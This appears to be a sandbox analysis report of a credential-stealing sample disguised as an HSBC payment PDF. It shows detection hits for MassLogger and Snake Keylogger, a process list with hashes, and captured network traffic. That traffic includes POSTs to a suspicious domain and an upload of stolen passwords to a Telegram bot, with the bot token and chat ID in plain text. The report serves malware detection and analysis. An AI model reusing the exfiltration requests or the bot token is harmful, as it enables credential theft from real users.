Dec 10, 2024 16:26:16.889905930 CET	351	OUT	POST /mepglnjkcg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: fwiwk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 10, 2024 16:26:16.889938116 CET	850	OUT	Data Raw: be b7 2b 64 ec e9 a5 04 46 03 00 00 f9 74 98 00 e8 81 18 fc dc 4a b0 8c c5 5e b0 1f 6e c3 bd 62 a0 94 c1 ab 5a bb c6 df 49 06 0d c8 df d5 f1 85 ac 6d ca 8a a7 e5 55 22 74 be 12 aa d8 6f 86 44 72 91 b2 55 57 a4 55 8e 62 cc 89 34 6e 3d 13 9d 54 f4 Data Ascii: +dFtJ^nbZImU"toDrUWUb4n=T){0.~bggS5iu`9/eVfbR^Tce#"eV+BxZ=xGD#uDpC$gK<fcn!JOSZC?EkC
Dec 10, 2024 16:26:17.973221064 CET	470	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Tue, 10 Dec 2024 15:26:17 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.fwiwk.biz/mepglnjkcg Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49995	72.52.179.174	80	6336	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:26:18.338757992 CET	334	OUT	GET /mepglnjkcg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: ww99.fwiwk.biz
Dec 10, 2024 16:26:19.515204906 CET	282	IN	HTTP/1.1 302 Moved Temporarily Date: Tue, 10 Dec 2024 15:26:19 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Location: http://ww12.fwiwk.biz/mepglnjkcg?usid=26&utid=9416613129 Cache-Control: no-cache Pragma: no-cache Access-Control-Allow-Origin: *

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49715	104.21.67.152	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:24:18 UTC	85	OUT	GET /xml/8.46.123.175 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-10 15:24:18 UTC	873	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 15:24:18 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 23581 Last-Modified: Tue, 10 Dec 2024 08:51:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hXY4CgA4DZAgBeZzJoLGYT8Q3h7dxmVnR9fItUy9uto7E2fafn2deeQquBAMau9M%2Fsn5PRvlA3NftDnMHunW8ZQjMOhI8qXkRBPQT4MxKHSxclTRNTZDKouaApbtT%2FC5rjtm83N0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efe3db7abc332e2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1809&min_rtt=1795&rtt_var=701&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1531200&cwnd=159&unsent_bytes=0&cid=ff8754c2d0defbdc&ts=460&x=0"
2024-12-10 15:24:18 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.175</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49736	149.154.167.220	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:24:26 UTC	299	OUT	POST /bot7471415635:AAEA2wRbrQkd9OwoRD_hL1tDceuiErS34CY/sendDocument?chat_id=1613755033&caption=user%20/%20Passwords%20/%208.46.123.175 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1904d11bd5d8 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-10 15:24:26 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 39 30 34 64 31 31 62 64 35 64 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1904d11bd5d8Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-10 15:24:26 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 10 Dec 2024 15:24:26 GMT Content-Type: application/json Content-Length: 518 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-10 15:24:26 UTC	518	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 32 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 34 37 31 34 31 35 36 33 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6f 6c 75 77 61 6d 69 6d 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 6c 75 77 61 6d 69 6d 73 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 31 33 37 35 35 30 33 33 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 69 6d 73 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 38 34 34 32 36 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 2c 22 6d 69 6d 65 5f 74 79 Data Ascii: {"ok":true,"result":{"message_id":428,"from":{"id":7471415635,"is_bot":true,"first_name":"oluwamims","username":"oluwamimsBot"},"chat":{"id":1613755033,"first_name":"Mims","type":"private"},"date":1733844266,"document":{"file_name":"Userdata.txt","mime_ty

Target ID:	0
Start time:	10:24:09
Start date:	10/12/2024
Path:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe"
Imagebase:	0x400000
File size:	1'539'072 bytes
MD5 hash:	999146408EFD1A704966CA4C1C8CE4B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000000.00000002.1347642495.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1347642495.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1347642495.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1347642495.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000000.00000002.1347642495.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Target ID:	4
Start time:	10:24:10
Start date:	10/12/2024
Path:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Imagebase:	0x400000
File size:	1'445'888 bytes
MD5 hash:	423F1F6668442F29DF26625C3F1F2479
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Target ID:	5
Start time:	10:24:10
Start date:	10/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe"
Imagebase:	0x7ff75da10000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000005.00000002.2636185001.000000000289B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2636185001.000000000289B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.2636185001.000000000289B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000005.00000002.2590084027.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2590084027.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.2590084027.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000005.00000002.2590084027.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	7
Start time:	10:24:10
Start date:	10/12/2024
Path:	C:\Windows\System32\alg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\alg.exe
Imagebase:	0x140000000
File size:	1'381'376 bytes
MD5 hash:	463F7F1E3383EFC2DF1C247DF13BE675
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	10
Start time:	10:24:14
Start date:	10/12/2024
Path:	C:\Windows\System32\FXSSVC.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\fxssvc.exe
Imagebase:	0x140000000
File size:	1'242'624 bytes
MD5 hash:	5DA3CAFF7B6DB6ED124E5F9690E7B126
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	11
Start time:	10:24:17
Start date:	10/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe"
Imagebase:	0x140000000
File size:	2'354'176 bytes
MD5 hash:	0B79C87888F1F817B9EF1809AC8DC7F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	12
Start time:	10:24:17
Start date:	10/12/2024
Path:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Imagebase:	0x140000000
File size:	1'512'448 bytes
MD5 hash:	680DFBE855D22EE0570837F07CDC45D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	13
Start time:	10:24:18
Start date:	10/12/2024
Path:	C:\Windows\System32\msdtc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\msdtc.exe
Imagebase:	0x140000000
File size:	1'434'112 bytes
MD5 hash:	51874DD725C538D547DFE65FED3A93E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	14
Start time:	10:24:20
Start date:	10/12/2024
Path:	C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exe
Imagebase:	0x140000000
File size:	1'391'616 bytes
MD5 hash:	55154595EBC76876D16839386F302C81
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	16
Start time:	10:24:21
Start date:	10/12/2024
Path:	C:\Windows\SysWOW64\perfhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWow64\perfhost.exe
Imagebase:	0x400000
File size:	1'306'624 bytes
MD5 hash:	436D2153822038C49A041E9D657F7E2D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	17
Start time:	10:24:22
Start date:	10/12/2024
Path:	C:\Windows\System32\Locator.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\locator.exe
Imagebase:	0x140000000
File size:	1'296'896 bytes
MD5 hash:	E30FA2BCFDF4D20217D89B9395BE104F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	18
Start time:	10:24:24
Start date:	10/12/2024
Path:	C:\Windows\System32\SensorDataService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\SensorDataService.exe
Imagebase:	0x140000000
File size:	1'846'784 bytes
MD5 hash:	138460F80D6D680988322149C0DA8337
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	19
Start time:	10:24:25
Start date:	10/12/2024
Path:	C:\Windows\System32\snmptrap.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\snmptrap.exe
Imagebase:	0x140000000
File size:	1'302'528 bytes
MD5 hash:	772AEFCF949CAADFB515863053AC8C10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	20
Start time:	11:32:40
Start date:	10/12/2024
Path:	C:\Windows\System32\Spectrum.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\spectrum.exe
Imagebase:	0x140000000
File size:	1'455'616 bytes
MD5 hash:	A5C5CBD638C50F62E6B1C909D40EA394
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	22
Start time:	11:32:41
Start date:	10/12/2024
Path:	C:\Windows\System32\OpenSSH\ssh-agent.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\OpenSSH\ssh-agent.exe
Imagebase:	0x140000000
File size:	1'667'072 bytes
MD5 hash:	56CCD164B03367A0F39A8360E82CB3D1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	23
Start time:	11:32:42
Start date:	10/12/2024
Path:	C:\Windows\System32\TieringEngineService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\TieringEngineService.exe
Imagebase:	0x140000000
File size:	1'611'264 bytes
MD5 hash:	978A54C9D759FF632658D6B5D6F278B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	24
Start time:	11:32:43
Start date:	10/12/2024
Path:	C:\Windows\System32\AgentService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\AgentService.exe
Imagebase:	0x140000000
File size:	1'801'216 bytes
MD5 hash:	7CFA6C3EAA73B924E9F391CE7ED6CFFF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	25
Start time:	11:32:44
Start date:	10/12/2024
Path:	C:\Windows\System32\vds.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\vds.exe
Imagebase:	0x140000000
File size:	1'303'552 bytes
MD5 hash:	9B69326495A6A2E148AF298DBBFA354E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	27
Start time:	11:32:46
Start date:	10/12/2024
Path:	C:\Windows\System32\wbengine.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wbengine.exe"
Imagebase:	0x140000000
File size:	2'164'736 bytes
MD5 hash:	A4B1E47A80405B400B4460F9F65BA8E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false